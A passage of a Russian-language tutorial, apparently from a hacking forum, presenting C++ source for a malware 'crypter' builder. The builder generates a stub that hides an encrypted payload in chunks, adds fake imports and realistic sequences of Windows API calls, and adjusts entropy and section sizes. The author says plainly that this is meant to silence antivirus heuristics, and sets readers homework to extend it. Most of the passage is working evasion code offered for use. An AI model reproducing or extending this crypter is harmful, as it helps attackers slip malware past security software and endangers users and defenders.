mem_copy(&all_data->data[ldr_restore_compiled->size], chunk->entr_data, chunk->entr_size);
all_data->size = ldr_restore_compiled->size + chunk->entr_size;
resource.add_rcdata(1, all_data->data, all_data->size);
mem_free(all_data);
}
}
resource.save_resource(); // save .rc file in tmp/<rand>/ folder
if( !resource.is_empty() )
compiler.add_resource();
В случае дебага мы сохраняем буфер патчера.
Код:
#ifdef _DEBUG
// only needed for build_pause.bat it's for manual building aka debug
if( patcher.get_count() )
{
mCode pline(4096);
PCHAR sdata = patcher.serialize();
PMSTRA out = mCode::convert_ascii(arg_out, -1);
pline << "patcher.exe \"" << out->string << "\" patcher.dat\r\n";
compiler.add_pause_line_ex( pline.get() );
CHAR path[MAX_PATH];
lstrcpyA(path, path_builder.get_tmp_folder());
lstrcatA(path, "patcher.dat");
file_put_contentsA(path, sdata, lstrlenA(sdata));
hfree(sdata);
hfree(out);
}
#endif
Приступаем непосредственно к генерации кода:
Код:
DWORD image_size = 0;
DWORD rdata_size = 0;
DWORD data_size = 0;
DWORD total_size;
DWORD rdata_pos = 0;
DWORD data_pos = 0;
BOOL extend_vars_added = false;
for(DWORD compile_try = 0; image_size < orig_nt->OptionalHeader.SizeOfImage; compile_try++ )
{
if( image_size!=0 )
{
_tprintf(_T("Make corrections, rebuilding...\r\n"));
}
stub.clear();
Добавляем заголовки файлов:
(я буду вырезать не относящийся к делу код, полная версия в архиве)
Код:
stub <<
"\r\n"
"//=============================================================\r\n"
"//= Includes Part\r\n"
"//=============================================================\r\n"
"#include <intrin.h>\r\n"
"#include <Objbase.h>\r\n"
"#include <Callobj.h>\r\n"
"#include <Shellapi.h>\r\n"
"#include <Urlmon.h>\r\n"
"#include <Prsht.h>\r\n"
"#include <Userenv.h>\r\n"
...
"\r\n"
Добавляем библиотеки (libs):
Код:
"//=============================================================\r\n"
"//= Libs includes Part\r\n"
"//=============================================================\r\n"
"#pragma comment(lib,\"user32.lib\")\r\n"
"#pragma comment(lib,\"Comdlg32.lib\")\r\n"
"#pragma comment(lib,\"UrlMon.lib\")\r\n"
"#pragma comment(lib,\"Shell32.lib\")\r\n"
"#pragma comment(lib,\"oledlg.lib\")\r\n"
"#pragma comment(lib,\"Ole32.lib\")\r\n"
"#pragma comment(lib,\"AdvApi32.lib\")\r\n"
"#pragma comment(lib,\"WinInet.lib\")\r\n"
"#pragma comment(lib,\"Gdi32.lib\")\r\n"
"#pragma comment(lib,\"WS2_32.lib\")\r\n"
"#pragma comment(lib,\"opengl32.lib\")\r\n"
...
"\r\n"
Добавляем фейковый импорт по-умолчанию (fake import):
из COMCTL, USER32, GDI32, comdlg32, ADVAPI32
Фейк импорт формируется из показанных ниже winapi + winapi сгенерированных мусорным генератором.
Ваш хоум ворк расширить его и рандомизировать, благо движок позволяет сделать это легко и красиво.
Код:
"//=============================================================\r\n"
"//= Static Import Part\r\n"
"//=============================================================\r\n"
"DWORD COMCTL3295_Array[] = { (DWORD)CreateToolbarEx, (DWORD)ImageList_Remove, (DWORD)ImageList_ReplaceIcon,\r\n"
"(DWORD)InitCommonControlsEx, (DWORD)ImageList_Destroy, (DWORD)ImageList_Create, (DWORD)ImageList_SetBkColor};\r\n"
"\r\n"
"DWORD USER3221_Array[] = { (DWORD)GetWindowLongA, (DWORD)wvsprintfA, (DWORD)SetWindowPos, (DWORD)FindWindowA,\r\n"
"(DWORD)RedrawWindow, (DWORD)GetWindowTextA, (DWORD)EnableWindow, (DWORD)GetSystemMetrics,\r\n"
"(DWORD)IsWindow, (DWORD)CheckRadioButton, (DWORD)UnregisterClassA, (DWORD)SetCursor,\r\n"
"(DWORD)GetSysColorBrush, (DWORD)DialogBoxParamA, (DWORD)DestroyAcceleratorTable, (DWORD)DispatchMessageA,\r\n"
"(DWORD)TranslateMessage, (DWORD)LoadIconA, (DWORD)EmptyClipboard, (DWORD)SetClipboardData, (DWORD)SetFocus,\r\n"
"(DWORD)CharUpperA, (DWORD)OpenClipboard, (DWORD)IsDialogMessageA, (DWORD)TranslateAcceleratorA, (DWORD)GetMessageA,\r\n"
"(DWORD)LoadAcceleratorsA, (DWORD)RemoveMenu, (DWORD)InvalidateRect, (DWORD)ChildWindowFromPoint, (DWORD)PostMessageA,\r\n"
"(DWORD)DestroyCursor, (DWORD)CreateDialogParamA, (DWORD)GetWindowRect, (DWORD)IsMenu, (DWORD)GetSubMenu, (DWORD)SetDlgItemInt,\r\n"
"(DWORD)GetWindowPlacement, (DWORD)CharLowerBuffA, (DWORD)EnableMenuItem, (DWORD)CheckMenuRadioItem, (DWORD)GetSysColor,\r\n"
"(DWORD)KillTimer, (DWORD)DestroyIcon, (DWORD)DestroyWindow, (DWORD)PostQuitMessage, (DWORD)GetClientRect, (DWORD)MoveWindow,\r\n"
"(DWORD)GetSystemMenu, (DWORD)SetTimer, (DWORD)SetWindowPlacement, (DWORD)InsertMenuItemA, (DWORD)GetMenu, (DWORD)CheckMenuItem,\r\n"
"(DWORD)SetMenuItemInfoA, (DWORD)SetActiveWindow, (DWORD)DefDlgProcA, (DWORD)RegisterClassA, (DWORD)EndDialog, (DWORD)SetDlgItemTextA,\r\n"
"(DWORD)EnumClipboardFormats, (DWORD)GetClipboardData, (DWORD)CloseClipboard, (DWORD)GetClassInfoA, (DWORD)CallWindowProcA,\r\n"
"(DWORD)SetWindowLongA, (DWORD)IsDlgButtonChecked, (DWORD)SetWindowTextA, (DWORD)CheckDlgButton, (DWORD)GetActiveWindow, (DWORD)LoadCursorA,\r\n"
"(DWORD)MessageBoxA, (DWORD)wsprintfA, (DWORD)GetDlgItemTextA, (DWORD)SendMessageA, (DWORD)GetCursorPos, (DWORD)TrackPopupMenu,\r\n"
"(DWORD)ClientToScreen, (DWORD)DestroyMenu, (DWORD)CreatePopupMenu, (DWORD)AppendMenuA, (DWORD)SendDlgItemMessageA, (DWORD)GetDlgItem };\r\n"
"\r\n"
"DWORD GDI32121_Array[] = { (DWORD)GetObjectA, (DWORD)GetStockObject, (DWORD)DeleteObject, (DWORD)SetBkMode, (DWORD)SetTextColor, (DWORD)CreateFontIndirectA, (DWORD)SelectObject };\r\n"
"\r\n"
"DWORD comdlg3218_Array[] = { (DWORD)GetOpenFileNameA, (DWORD)GetSaveFileNameA };\r\n"
"\r\n"
"DWORD ADVAPI32214_Array[] = { (DWORD)RegCreateKeyA, (DWORD)RegSetValueA, (DWORD)GetUserNameA, (DWORD)RegCloseKey,\r\n"
"(DWORD)RegOpenKeyExA, (DWORD)AdjustTokenPrivileges, (DWORD)LookupPrivilegeValueA, (DWORD)OpenProcessToken, (DWORD)RegQueryValueExA, (DWORD)RegDeleteKeyA };\r\n"
"\r\n"
Добавляем дефайны winapi функций с аргументами (чтобы позже обращаться и вывзывать фейк winapi в коде):
Закрываем буфер.
Код:
"//=============================================================\r\n"
"//= Fake API Defines for future calls them without transformation\r\n"
"//=============================================================\r\n"
"#define k_AreFileApisANSI (*(DWORD(WINAPI *)(VOID)) AreFileApisANSI)\r\n"
"#define k_AssignProcessToJobObject (*(DWORD(WINAPI *)(DWORD,DWORD)) AssignProcessToJobObject)\r\n"
"#define k_CancelWaitableTimer (*(DWORD(WINAPI *)(DWORD)) CancelWaitableTimer)\r\n"
"#define k_ClearCommBreak (*(DWORD(WINAPI *)(DWORD)) ClearCommBreak)\r\n"
"#define k_ClearCommError (*(DWORD(WINAPI *)(DWORD,DWORD,DWORD)) ClearCommError)\r\n"
"#define k_ConvertFiberToThread (*(DWORD(WINAPI *)(VOID)) ConvertFiberToThread)\r\n"
"#define k_ConvertThreadToFiber (*(DWORD(WINAPI *)(DWORD)) ConvertThreadToFiber)\r\n"
"#define k_CreateFiber (*(DWORD(WINAPI *)(DWORD,DWORD,DWORD)) CreateFiber)\r\n"
"#define k_CreateFiberEx (*(DWORD(WINAPI *)(DWORD,DWORD,DWORD,DWORD,DWORD)) CreateFiberEx)\r\n"
"#define k_CreateFileMappingW (*(DWORD(WINAPI *)(DWORD,DWORD,DWORD,DWORD,DWORD,DWORD)) CreateFileMappingW)\r\n"
"#define k_CreateIoCompletionPort (*(DWORD(WINAPI *)(DWORD,DWORD,DWORD,DWORD)) CreateIoCompletionPort)\r\n"
...
stub << "\r\n";
Добавляем в код стаба seed и некоторые рабочие дефайны и тейпдефы.
mem_zero, mem_copy, mem_set - для работы с памятью.
структура LDR_RESTORE_PARAMS для передачи внутрь шеллкода загрузчика в память.
Код:
// some times i forgot to see seed in msvc output
CHAR str_seed[50];
wsprintfA(str_seed, "// Build seed: 0x%0.8X%0.8X\r\n", (DWORD)(random.get_seed() >> 32), (DWORD)random.get_seed());
stub << str_seed;
stub <<
"//=============================================================\r\n"
"//= Some crypt system defines and structures\r\n"
"//=============================================================\r\n"
"#define mem_zero(dest,size) __stosb((PBYTE)dest,0,size)\r\n"
"#define mem_copy(dest,source,size) __movsb((PBYTE)dest,(PBYTE)source,size)\r\n"
"#define mem_set(dest,bt,size) __stosb((PBYTE)dest,bt,size)\r\n\r\n"
"#pragma pack(push,1)\r\n"
"typedef struct _LDR_RESTORE_PARAMS\r\n"
"{\r\n"
" PBYTE orig_data;\r\n"
" PBYTE entr_data;\r\n"
" DWORD_PTR base;\r\n"
"}LDR_RESTORE_PARAMS, *PLDR_RESTORE_PARAMS;\r\n"
"#pragma pack(pop)\r\n"
"typedef void (WINAPI *TD_ldr_restore)(PLDR_RESTORE_PARAMS);\r\n"
"typedef HANDLE (WINAPI *TD_HeapCreate)(DWORD flOptions,DWORD dwInitialSize,DWORD dwMaximumSize);\r\n";
Непосредственно процесс генерации чунков:
/*
0 - text before
1 - text after
2 - data
3 - rdata
*/
Нужно отметить, что чтобы использовать некоторые способы хранения чунков, приходится генерировать asm файл, сохранять буфер в функциях payload_n и позже линковать в итоговый файл.
Сам процесс разбора чунков смотрите в файле mPayloadChunks.cpp.
Движок способен контролировать и опционально менять энтропию чунков для регулирования целостной энтропии всего криптованного файла, что помогает обходить эвристики по статистическим детектам.
Пример передачи параметров в структуру восстановления чунков:
Код:
if( payload.get_chunk(PAYLOAD_CHUNK_TEXT1) )
{
stub << "extern \"C\" void WINAPI payload_0();\r\n";
}
if( payload.get_chunk(PAYLOAD_CHUNK_TEXT2) )
{
stub << "extern \"C\" void WINAPI payload_1();\r\n";
}
if( image_size==0 )
{
mCode asm_file(0xFFFF);
if( (chunk = payload.get_chunk(PAYLOAD_CHUNK_TEXT1)) )
{
asm_file.clear();
if( orig_nt->FileHeader.Machine==IMAGE_FILE_MACHINE_I386 )
{
asm_file << ".586\r\n";
asm_file << ".model flat,stdcall\r\n";
}
asm_file << "option casemap:none\r\n";
asm_file << "option prologue:none\r\n";
asm_file << "option epilogue:none\r\n";
asm_file << ".code\r\n\r\npayload_0 proc\r\n";
asm_file << "; entr_size = " << chunk->entr_size << ", orig_size = " << chunk->orig_size << "\r\n";
payload.get_string(asm_file, PST_ASM, 0);
asm_file << "payload_0 endp\r\nend\r\n";
path_builder.add_file("payload_0.asm", asm_file.get(), asm_file.length());
compiler.add_asm_file("payload_0.asm");
}
compiler.add_main_cpp();
if( (chunk = payload.get_chunk(PAYLOAD_CHUNK_TEXT2)) )
{
asm_file.clear();
if( orig_nt->FileHeader.Machine==IMAGE_FILE_MACHINE_I386 )
{
asm_file << ".586\r\n";
asm_file << ".model flat,stdcall\r\n";
}
asm_file << "option casemap:none\r\n";
asm_file << "option prologue:none\r\n";
asm_file << "option epilogue:none\r\n";
asm_file << ".code\r\n\r\npayload_1 proc\r\n";
asm_file << "; entr_size = " << chunk->entr_size << ", orig_size = " << chunk->orig_size << "\r\n";
payload.get_string(asm_file, PST_ASM, 1);
asm_file << "payload_1 endp\r\nend\r\n";
path_builder.add_file("payload_1.asm", asm_file.get(), asm_file.length());
compiler.add_asm_file("payload_1.asm");
}
}
if( payload.get_chunk(PAYLOAD_CHUNK_DATA) )
{
stub << "BYTE payload_2[] = {\r\n";
payload.get_string(stub, PST_CPP, 2);
stub << "};\r\n";
}
if( payload.get_chunk(PAYLOAD_CHUNK_RDATA) )
{
stub << "const BYTE payload_3[] = {\r\n";
payload.get_string(stub, PST_CPP, 3);
stub << "};\r\n";
}
Для правильной работы загрузчика у итогового файла должны быть правильные виртуальные и физические размеры секций, выполняем настройку итоговых размеров:
Код:
// not first call
if( image_size > 0 )
{
// need_size + extend data
total_size = (orig_nt->OptionalHeader.SizeOfImage - image_size) + random.get_equal(config.image.extend.min,config.image.extend.max);
// calculate total_size for .data, .rdata sections
// extend image
if( !config.image.rdata )
{
data_size += ALIGN_UP(total_size, 0x1000);
}else if( !config.image.data )
{
rdata_size += ALIGN_UP(total_size, 0x1000);
}else{
DWORD new_rdata_size = (total_size * config.image.rdata) / 100;
DWORD new_data_size = total_size - new_rdata_size;
rdata_size += ALIGN_UP(new_rdata_size,0x1000);
data_size += ALIGN_UP(new_data_size,0x1000);
}
}else{
if( globals.length() )
{
data_pos = random.get_less(0,globals.length());
rdata_pos = random.get_less(0,globals.length());
}else{
data_pos = 0;
rdata_pos = 0;
}
}
if( image_size > 0 && !extend_vars_added )
{
//lines.add("PBYTE pdata_extend = data_extend;\r\n");
//lines.add("PBYTE prdata_extend = (PBYTE)rdata_extend;\r\n");
extend_vars_added = true;
}
Непосредственно расширяем размер секции rdata таким вот нехитрым триком:
Код:
if( !globals.length() )
{
if( image_size > 0 )
{
stub << "const BYTE rdata_extend[" << rdata_size << "] = {0};\r\n";
stub << "BYTE data_extend[" << data_size << "];\r\n";
}
}else{
MVAR_INFO* var = globals.first();
for(int i = 0; var ; i++ )
{
if( i==rdata_pos && image_size > 0 )
{
stub << "const BYTE rdata_extend[" << rdata_size << "] = {0};\r\n";
}
if( i==data_pos && image_size > 0 )
{
stub << "BYTE data_extend[" << data_size << "];\r\n";
}
stub << var->string << ";\r\n";
var = globals.next();
}
}
Добавляем описание сгенерированных прототипов функций и результатов их исполнения:
Пример:
Код:
for(int i = 0; i < all_functions.get_count(); i++)
{
mFunction* func = all_functions.get_value(i);
if( !lstrcmpA(func->get_name(), "DllMain") || !lstrcmpA(func->get_name(), "WinMain") || !lstrcmpA(func->get_name(), "wWinMain") )
continue;
func->get_prototype_string(stub);
}
for(int i = 0; i < all_functions.get_count(); i++)
{
all_functions.get_value(i)->get_string(stub);
}
Сохраняем итоговый стаб в сформированной директории:
Код:
_tprintf(_T("Building...\n"));
dbg_tset();
CHAR main_cpp_path[MAX_PATH];
lstrcpyA(main_cpp_path, path_builder.get_tmp_folder());
lstrcatA(main_cpp_path, "main.cpp");
file_put_contentsA(main_cpp_path, stub.get(), stub.length());
#ifdef _DEBUG
file_put_contentsA("...\\test_crypt\\main.cpp", stub.get(), stub.length());
#endif
Финальные штрихи:
Генерируем пакетный файл с нужными нам параметрами для передачи компилятору и линкеру.
Отчитываемся о времени на генерацию файла.
Удаляем временные папки.
Чистим переменные, память.
Код:
// create bat file and build application
if( (image_size = compiler.build(arg_out))==-1 )
{
#ifdef _DEBUG
__debugbreak();
#endif
return;
}
_tprintf(_T("Build time: %d sec\n"), dbg_tget());
}
patcher.patch_markers();
_tprintf(_T("SUCCESS: Build created.\r\n"));
path_builder.remove_tmp_folder();
mem_free(idata);
А теперь самая интересная часть:
Формируем паттерны генерации связок winapi вызовов (это не тупой рандомный генеринг случайных winapi, это связки функций встречающиеся в реальном ПО.)
Например функция ReadFile без предварительного CreateFile вызовет агр у любого эвристика, правильные связки последовательностей winapi и аргументы заставляют эвристики молчать и добавлять балл к легитимности кода.
Код:
void files_lock_constr(mImport *apis, mCode &str, API_TEMPLATE *tmpl, MVAR_INFO* arg, bool is_trash)
{
MIMPORT_KERNEL32_GROUP_FILES* info = (MIMPORT_KERNEL32_GROUP_FILES*)arg->userdata;
if( info->is_locked ) // locked
{
info->is_locked = false;
PMVAR_INFO var = apis->get_or_add_var(MVT_BOOL);
if( info->is_lock_ex )
{
//bugfix (0xC0000005): we must set reverved!=0, because hFile in code will be 0xffffffff, but LockFileEx check for console handle (hfile & 0x10000003)==3, and then take data vrom (hfile + 8), but it will be < 0x10000
str << var->name << " = UnlockFileEx(" << arg->name << ", " << random.get_equal(1,0xFF) << ", " << info->lock_vars[0]<< ", " << info->lock_vars[1]<< ", NULL);";
}else{
str << var->name << " = UnlockFile(" << arg->name << ", " << info->lock_vars[0]<< ", " << info->lock_vars[1]<< ", " << info->lock_vars[2]<< ", " << info->lock_vars[3] << ");";
}
}else{
info->is_locked = true;
info->is_lock_ex = random.get_equal(0,1);
PMVAR_INFO var = apis->get_or_add_var(MVT_BOOL);
if( info->is_lock_ex )
{
for(int i = 0; i < 2; i++)
{
info->lock_vars[i] = random.get_less(0,0x4000);
}
//bugfix (0xC0000005): we must set reverved!=0, because hFile in code will be 0xffffffff, but LockFileEx check for console handle (hfile & 0x10000003)==3, and then take data vrom (hfile + 8), but it will be < 0x10000
str << var->name << " = LockFileEx(" << arg->name << ", " << random.get_equal(1,2) << ", " << random.get_equal(1,0xFFFFFFFF) << ", " << info->lock_vars[0]<< ", " << info->lock_vars[1]<< ", NULL);";
}else{
for(int i = 0; i < 4; i++)
{
info->lock_vars[i] = random.get_less(0,0x4000);
}
str << var->name << " = LockFile(" << arg->name << ", " << info->lock_vars[0]<< ", " << info->lock_vars[1]<< ", " << info->lock_vars[2]<< ", " << info->lock_vars[3] << ");";
}
}
}
Структура с вероятными генерируемыми winapi. (Вы можете расширить их до бесконечности).
Движок криптора позволяет тонко настроить аргументы функций и диапазоны генерации для различных типов данных.
Код:
API_TEMPLATE files_read_write[] = {
{NULL, NULL, {NULL, PT_PTR_ADDVAR, MVT_BOOL}, "WriteFile",{{NULL,PT_ARG},{NULL,PT_PTR_ANY},{NULL, PT_RAND,0,512},{NULL,PT_PTR_ADDVAR,MVT_UINT32},{NULL,PT_NULL,0},{NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_PTR_ADDVAR, MVT_BOOL}, "WriteFileEx",{{NULL,PT_ARG},{NULL,PT_PTR_ANY},{NULL,PT_RAND,0,512},{NULL,PT_NULL},{NULL,PT_NULL,0},{NULL,PT_NONE,0},{NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_PTR_ADDVAR, MVT_BOOL}, "WriteFileGather",{{NULL,PT_ARG},{NULL,PT_PTR_ADDVAR,MVT_FILE_SEGMENT_ELEMENT},{NULL,PT_RAND,0,512},{NULL,PT_NULL},{NULL,PT_NULL,0},{NULL,PT_NONE,0},{NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_PTR_ADDVAR, MVT_BOOL}, "ReadFile",{{NULL,PT_ARG},{NULL,PT_PTR_ANY,0},{NULL,PT_RAND,0,512},{NULL,PT_PTR_ADDVAR,MVT_UINT32},{NULL,PT_NULL,0},{NULL,PT_NONE,0},{NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_PTR_ADDVAR, MVT_BOOL}, "ReadFileEx",{{NULL,PT_ARG},{NULL,PT_PTR_ANY,0},{NULL,PT_RAND,0,512},{NULL,PT_NULL},{NULL,PT_NULL,0},{NULL,PT_NONE,0},{NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_PTR_ADDVAR, MVT_BOOL}, "ReadFileScatter",{{NULL,PT_ARG},{NULL,PT_PTR_ADDVAR,MVT_FILE_SEGMENT_ELEMENT},{NULL,PT_RAND,0,512},{NULL,PT_NULL},{NULL,PT_NULL,0},{NULL,PT_NONE,0},{NULL,PT_NONE,0}}},
};
Можно очень глубоко настраивать генерацию и её опции:
Добавлен задел для некоторых winapi - расширяйте таблицу и код будет намного вариабельнее.
Код:
void files_read_write_constr(mImport *apis, mCode &str, API_TEMPLATE *tmpl, MVAR_INFO* arg, bool is_trash)
{
MIMPORT_KERNEL32_GROUP_FILES *info = (MIMPORT_KERNEL32_GROUP_FILES*)arg->userdata;
DWORD from, to;
switch( info->perm )
{
case 3: // read & write
from = 0;
to = 5;
break;
case 2: // write
from = 0;
to = 2;
break;
case 1:
from = 3;
to = 5;
break;
}
apis->parse(str, &files_read_write[ random.get_equal(from,to) ], arg, is_trash);
}
// {"",PT_ARG} - "" is string before param (example: (HANDLE)), PT_ARG argument will taking
// {NULL, PT_NONE} - no parameter
API_TEMPLATE files_templates[] = {
// {"Name_of_proc",FALSE,{{NULL,PT_ARG},{NULL,PT_NONE},{NULL,PT_NONE},{NULL,PT_NONE},{NULL,PT_NONE,0},{NULL,PT_NONE,0},{NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_UINT32}, "GetFileSize",{{NULL,PT_ARG},{"(LPDWORD)",PT_PTR_ADDVAR,MVT_UINT32},{NULL,PT_NONE},{NULL,PT_NONE},{NULL,PT_NONE,0},{NULL,PT_NONE,0},{NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_BOOL}, "GetFileSizeEx",{{NULL,PT_ARG},{NULL,PT_PTR_ADDVAR,MVT_LARGE_INTEGER},{NULL,PT_NONE},{NULL,PT_NONE},{NULL,PT_NONE,0},{NULL,PT_NONE,0},{NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_UINT32}, "GetFileType",{{NULL,PT_ARG},{NULL,PT_NONE},{NULL,PT_NONE},{NULL,PT_NONE},{NULL,PT_NONE,0},{NULL,PT_NONE,0},{NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_BOOL}, "GetFileInformationByHandle",{{NULL,PT_ARG},{NULL,PT_PTR_ADDVAR,MVT_BY_HANDLE_FILE_INFORMATION},{NULL,PT_NONE},{NULL,PT_NONE},{NULL,PT_NONE,0},{NULL,PT_NONE,0},{NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_BOOL}, "SetEndOfFile",{{NULL,PT_ARG},{NULL,PT_NONE},{NULL,PT_NONE},{NULL,PT_NONE},{NULL,PT_NONE,0},{NULL,PT_NONE,0},{NULL,PT_NONE,0}}},
{NULL, files_lock_constr, {NULL, PT_ADDVAR, MVT_BOOL}, NULL, {{NULL,PT_NONE},{NULL,PT_NONE},{NULL,PT_NONE},{NULL,PT_NONE},{NULL,PT_NONE,0},{NULL,PT_NONE,0},{NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_UINT32}, "SetFilePointer",{{NULL,PT_ARG},{NULL,PT_RAND,0,0xFFFF},{NULL,PT_PTR_GETVAR_OR_NULL,MVT_INT32},{NULL,PT_RAND,0,2},{NULL,PT_NONE},{NULL,PT_NONE,0},{NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_BOOL}, "SetFilePointerEx",{{NULL,PT_ARG},{NULL,PT_ADDVAR,MVT_LARGE_INTEGER},{NULL,PT_PTR_GETVAR_OR_NULL,MVT_LARGE_INTEGER},{NULL,PT_RAND,0,2},{NULL,PT_NONE},{NULL,PT_NONE,0},{NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_BOOL}, "SetFileValidData",{{NULL,PT_ARG},{NULL,PT_RAND,0,0x7FFFFF},{NULL,PT_NONE},{NULL,PT_NONE},{NULL,PT_NONE,0},{NULL,PT_NONE,0},{NULL,PT_NONE,0}}},
};
API_TEMPLATE sysinfo_templates[] = {
{NULL, NULL, {NULL, PT_NONE}, "GetNativeSystemInfo",{{NULL,PT_PTR_ADDVAR,MVT_SYSTEMINFO},{NULL,PT_NONE},{NULL,PT_NONE},{NULL,PT_NONE},{NULL,PT_NONE,0},{NULL,PT_NONE,0},{NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_NONE}, "GetSystemInfo",{{NULL,PT_PTR_ADDVAR,MVT_SYSTEMINFO},{NULL,PT_NONE},{NULL,PT_NONE},{NULL,PT_NONE},{NULL,PT_NONE,0},{NULL,PT_NONE,0},{NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_UINT32}, "GetVersion",{{NULL,PT_NONE},{NULL,PT_NONE},{NULL,PT_NONE},{NULL,PT_NONE},{NULL,PT_NONE,0},{NULL,PT_NONE,0},{NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_BOOL}, "IsProcessorFeaturePresent",{{NULL,PT_RAND,0,15},{NULL,PT_NONE},{NULL,PT_NONE},{NULL,PT_NONE},{NULL,PT_NONE,0},{NULL,PT_NONE,0},{NULL,PT_NONE,0}}},
{ATF_A_OR_W, NULL, {NULL, PT_ADDVAR, MVT_PTCHAR}, "GetCommandLine",{{NULL,PT_NONE}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_PROCESS}, "GetCurrentProcess",{{NULL,PT_NONE}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_UINT32}, "GetCurrentProcessId",{{NULL,PT_NONE}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_THREAD}, "GetCurrentThread",{{NULL,PT_NONE}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_UINT32}, "GetCurrentThreadId",{{NULL,PT_NONE}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_UINT32}, "GetLogicalDrives",{{NULL,PT_NONE}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_UINT32}, "GetLastError",{{NULL,PT_NONE}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_HEAP}, "GetProcessHeap",{{NULL,PT_NONE}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_UINT32}, "GetVersion",{{NULL,PT_NONE}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_BOOL}, "AreFileApisANSI",{{NULL,PT_NONE}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_TIMER}, "CreateTimerQueue",{{NULL,PT_NONE}}},
};
API_TEMPLATE Gdi32_trash_procs[] = {
{NULL, NULL, {NULL, PT_ADDVAR, MVT_BOOL}, "AbortPath", {{NULL, PT_ADDVAR, MVT_HDC}, {NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_BOOL}, "AngleArc", {{NULL, PT_ADDVAR, MVT_HDC}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND_FLOAT, 0, 180}, {NULL, PT_RAND_FLOAT, 0, 180}, {NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_BOOL}, "AnimatePalette", {{NULL, PT_ADDVAR, MVT_HPALETTE}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {"(const PALETTEENTRY*)", PT_PTR_ANY}, {NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_BOOL}, "Arc", {{NULL, PT_ADDVAR, MVT_HDC}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_BOOL}, "ArcTo", {{NULL, PT_ADDVAR, MVT_HDC}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_BOOL}, "BeginPath", {{NULL, PT_ADDVAR, MVT_HDC}, {NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_BOOL}, "BitBlt", {{NULL, PT_ADDVAR, MVT_HDC}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_ADDVAR, MVT_HDC}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_BOOL}, "CancelDC", {{NULL, PT_ADDVAR, MVT_HDC}, {NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_BOOL}, "Chord", {{NULL, PT_ADDVAR, MVT_HDC}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_INT32}, "CombineRgn", {{NULL, PT_ADDVAR, MVT_HRGN}, {NULL, PT_ADDVAR, MVT_HRGN}, {NULL, PT_ADDVAR, MVT_HRGN}, {NULL, PT_RAND, 0, 0xFF}, {NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_BOOL}, "CombineTransform", {{"(LPXFORM)", PT_PTR_ANY}, {"(const XFORM*)", PT_PTR_ANY}, {"(const XFORM*)", PT_PTR_ANY}, {NULL,PT_NONE,0}}},
